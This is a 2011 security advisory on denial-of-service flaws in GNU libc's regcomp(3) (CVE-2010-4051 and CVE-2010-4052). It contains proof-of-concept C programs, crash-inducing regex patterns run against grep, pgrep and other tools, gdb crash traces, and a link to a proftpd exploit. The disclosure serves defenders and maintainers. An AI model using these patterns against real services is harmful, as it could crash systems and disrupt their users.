GNU libc/regcomp(3) Multiple Vulnerabilities Jan 07 2011 12:47PM
cxib securityreason com
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[ GNU libc/regcomp(3) Multiple Vulnerabilities ]

Author: Maksymilian Arciemowicz

http://securityreason.com/

http://cxib.net/

Date:

- - Dis.: 01.10.2010

- - Pub.: 07.01.2011

CERT: VU#912279

CVE:

CVE-2010-4051

CVE-2010-4052

Affected (tested):

- - Ubuntu 10.10

- - Slackware 13

- - Gentoo 18.10.2010

- - FreeBSD 8.1 (grep(1))

- - NetBSD 5.0.2 (grep(1))

Original URL:

http://securityreason.com/achievement_securityalert/93

Exploit for proftpd:

http://cxib.net/stuff/proftpd.gnu.c

- --- 0.Description ---

The GNU C library is used as the C library in the GNU system and most systems with the Linux kernel.

# define RE_DUP_MAX (0x7fff)

regcomp() is used to compile a regular expression into a form that is suitable for subsequent regexec() searches.

- --- 1. RE_DUP_MAX overflow ---

The main problem exists in regcomp(3) function of GNU libc implementation. Let`s try understand..

- ---

int

regcomp (preg, pattern, cflags)

regex_t *__restrict preg;

const char *__restrict pattern;

int cflags;

{

- ---

if we use '{', token type will be OP_OPEN_DUP_NUM.

- ---

/* This function parse repetition operators like "*", "+", "{1,3}" etc. */

static bin_tree_t *

parse_dup_op (bin_tree_t *elem, re_string_t *regexp, re_dfa_t *dfa,

re_token_t *token, reg_syntax_t syntax, reg_errcode_t *err)

{

bin_tree_t *tree = NULL, *old_tree = NULL;

int i, start, end, start_idx = re_string_cur_idx (regexp);

re_token_t start_token = *token;

if (token->type == OP_OPEN_DUP_NUM)

{

end = 0;

start = fetch_number (regexp, token, syntax); <===== CONVERT VALUE

- ---

let`s see fetch_number =>

- ---

static int

fetch_number (re_string_t *input, re_token_t *token, reg_syntax_t syntax)

{

int num = -1;

unsigned char c;

while (1)

{

fetch_token (token, input, syntax);

c = token->opr.c;

if (BE (token->type == END_OF_RE, 0))

return -2;

if (token->type == OP_CLOSE_DUP_NUM || c == ',')

break;

num = ((token->type != CHARACTER || c < '0' || '9' < c || num == -2)

? -2 : ((num == -1) ? c - '0' : num * 10 + c - '0'));

num = (num > RE_DUP_MAX) ? -2 : num;

}

return num;

}

- ---

now see regex.h to know, what value have RE_DUP_MAX

- ---

/* Maximum number of duplicates an interval can allow. Some systems

(erroneously) define this in other header files, but we want our

value, so remove any previous define. */

# ifdef RE_DUP_MAX

# undef RE_DUP_MAX

# endif

/* If sizeof(int) == 2, then ((1 << 15) - 1) overflows. */

# define RE_DUP_MAX (0x7fff)

#endif

- ---

calc_eclosure_iter() will call to calc_eclosure_iter() match time. and

crash in malloc(3). Simple Recursion.

so we can't use value bigger 0x7fff in {n,}. regcomp(3) should return ERROR if we use more that one time '{' token.

They are many vectors attack

grep(1):

cx@cx64:~$ ls |grep -E ".*{10,}{10,}{10,}{10,}{10,}"

Segmentation fault

pgrep(1):

cx@cx64:~$ pgrep ".*{10,}{10,}{10,}{10,}{10,}"

Segmentation fault

bregex from bacula-director-common

cx@cx64:~$ bregex -f glob-0day.c

Enter regex pattern: .*{10,}{10,}{10,}{10,}{10,}

Segmentation fault

whatis(1):

cx@cx64:~$ whatis -r ".*{10,}{10,}{10,}{10,}{10,}"

Segmentation fault

and more like proftpd.

Simple crash for CVE-2010-4051

(gdb) x/i $rip

=> 0x7ffff7ad3ea2: mov %eax,0x50(%rsp)

(gdb) x/i $eax

0x2: Cannot access memory at address 0x2

(gdb) x/i $rsp

0x7fffff5fef90: Cannot access memory at address 0x7fffff5fef90

(gdb) x/i 0x50($rsp)

Cannot access memory at address 0x7fffff5fef08

#0 0x00007ffff7ad3ea2 in ?? () from /lib/libc.so.6

#1 0x00007ffff7ad538e in malloc () from /lib/libc.so.6

#2 0x00007ffff7b17d9b in ?? () from /lib/libc.so.6

#3 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6

#4 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6

#5 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6

#6 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6

#7 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6

...

- ---PoC1---

#include <regex.h>

int main(){

regex_t preg;

// char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052

char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; CVE-2010-4051

regcomp (&preg, fmt, REG_EXTENDED);

return 0;

}

- ---PoC1---

- --- 2. Stack Exhausion ---

This issue, may be also use to Denial of Service by stack exhausion

#ls |grep -E ".*{10,}{10,}{111111,}"

- ---PoC2---

#include <regex.h>

int

main ()

{

regex_t preg;

char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052

// char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; // CVE-2010-4051

regcomp (&preg, fmt, REG_EXTENDED);

return 0;

}

- ---PoC2---

Such a pattern may lead to allocate a large memory area, or large execution time

As we can read in vsftpd/HACKING

- ---

- do not use libc features that are "complicated"

and may contain security holes. For example, you probably shouldn't

try to use regcomp() to compile an untrusted regular expression.

Regular expressions are just too complicated, and there are many

different libc's out there.

- ---

That's true. But the worst implementation of lib C is GNU. There is a huge difference using proftpd on NetBSD and Linux

- --- 3. Stack Exhausions ---

Stack Exhausions was found in GNU glibc.

- ---PoC3---

/bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx

- ---PoC3---

when more '+' that more allocated memory. But let's see next one

- ---PoC4---

cx@cx64:~$ ulimit -m 100000

cx@cx64:~$ ulimit -v 200000

cx@cx64:~$ /bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx

Segmentation fault

cx@cx64:~$

- ---PoC4---

the same command like in PoC 3, fails.

(gdb) r "/(.*++++++++++++++++++(\w+))/im" cx

Starting program: /bin/egrep "/(.*++++++++++++++++++(\w+))/im" cx

/bin/egrep: Memory exhausted

Add one "+" more

Program exited with code 02.

(gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx

Program received signal SIGSEGV, Segmentation fault.

__libc_free (mem=0x7ffff720a010) at malloc.c:3709

3709 if (chunk_is_mmapped(p)) /* release mmapped memory. */

(gdb) bt

#0 __libc_free (mem=0x7ffff720a010) at malloc.c:3709

#1 0x00007ffff7913431 in free_dfa_content (dfa=0x61f0c0) at regcomp.c:600

#2 0x00007ffff7924e1c in re_compile_internal (preg=0x61f060, pattern=0x0,

length=140737488347176, syntax=<value optimized out>) at regcomp.c:823

#3 0x00007ffff79256de in __re_compile_pattern (pattern=0x0,

length=<value optimized out>, bufp=0x7ffff720a010) at regcomp.c:231

- ---malloc.c---

...

if (mem == 0) /* free(0) has no effect */

return;

p = mem2chunk(mem);

#if HAVE_MMAP

if (chunk_is_mmapped(p))

...

- ---malloc.c---

where

#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))

mem variable (mem=0x7ffff720a010)

(gdb) x/x 0x7ffff720a010

0x7ffff720a010: 0x00

or

(gdb) x/x 0x7ffff720a010

0x7ffff720a010: Cannot access memory at address 0x7ffff720a010

(gdb) x/i $rip

=> 0x7ffff78d2c2d <__libc_free+29>: mov -0x8(%rdi),%rsi

(gdb) x/i $rdi

0x7ffff7ed3010: Cannot access memory at address 0x7ffff7ed3010

(gdb) x/i $rsi

0x0: Cannot access memory at address 0x0

or check this

(gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx

Program received signal SIGSEGV, Segmentation fault.

parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>,

token=0x7fffffffe010, syntax=<value optimized out>,

nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2547

2547 if (elem->token.type == SUBEXP)

(gdb) x/i $rip

=> 0x7ffff7922644 <parse_expression+756>: cmpb $0x11,0x30(%r15)

(gdb) x/i $r15

0x0: Cannot access memory at address 0x0

rax 0x0 0

rbx 0x61f0c0 6418624

rcx 0xffffffffffffffa8 -88

rdx 0x0 0

rsi 0x61f0c0 6418624

rdi 0x0 0

rbp 0x7fffffffe010 0x7fffffffe010

rsp 0x7fffffffdb70 0x7fffffffdb70

r8 0xffffffff 4294967295

r9 0x0 0

r10 0x4022 16418

r11 0x246 582

r12 0x7fffffffdf70 140737488346992

r13 0x4730ae8 74648296

r14 0xffffffff 4294967295

r15 0x0 0

rip 0x7ffff7922644 0x7ffff7922644 <parse_expression+756>

#0 parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>,

token=0x7fffffffe010, syntax=<value optimized out>,

nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2547

#1 parse_expression (regexp=0x7fffffffdf70, preg=<value optimized out>,

token=0x7fffffffe010, syntax=<value optimized out>,

nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2390

#2 0x00007ffff792387e in parse_branch (regexp=0x0, preg=0x61f0c0, token=0x0,

syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2163

#3 parse_reg_exp (regexp=0x0, preg=0x61f0c0, token=0x0,

syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2122

if (BE (start > 0, 0))

{

tree = elem;

for (i = 2; i <= start; ++i)

{

elem = duplicate_tree (elem, dfa);

tree = create_tree (dfa, tree, elem, CONCAT);

if (BE (elem == NULL || tree == NULL, 0))

goto parse_dup_op_espace;

}

if (start == end)

return tree;

/* Duplicate ELEM before it is marked optional. */

elem = duplicate_tree (elem, dfa);

old_tree = tree;

}

else

old_tree = NULL;

if (elem->token.type == SUBEXP) <=CRASH HERE

These vulnerabilities are not really dangerous. However, there is the possibility to use the DoS attack. An example might be an exploit for proftpd. Option 3 allows to exhaustion avaliable memory. In my opinion, the GNU should fix the problem.

- --- 4. Exploit ---

proftpd/linux:

http://cxib.net/stuff/proftpd.gnu.c

- --- 5. Greets ---

Christos Zoulas, US-CERT, sp3x, Infospec

- --- 6. Contact ---

Author: SecurityReason.com [ Maksymilian Arciemowicz ]

Email:

- - cxib {a\./t] securityreason [d=t} com

GPG:

- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/

http://cxib.net/

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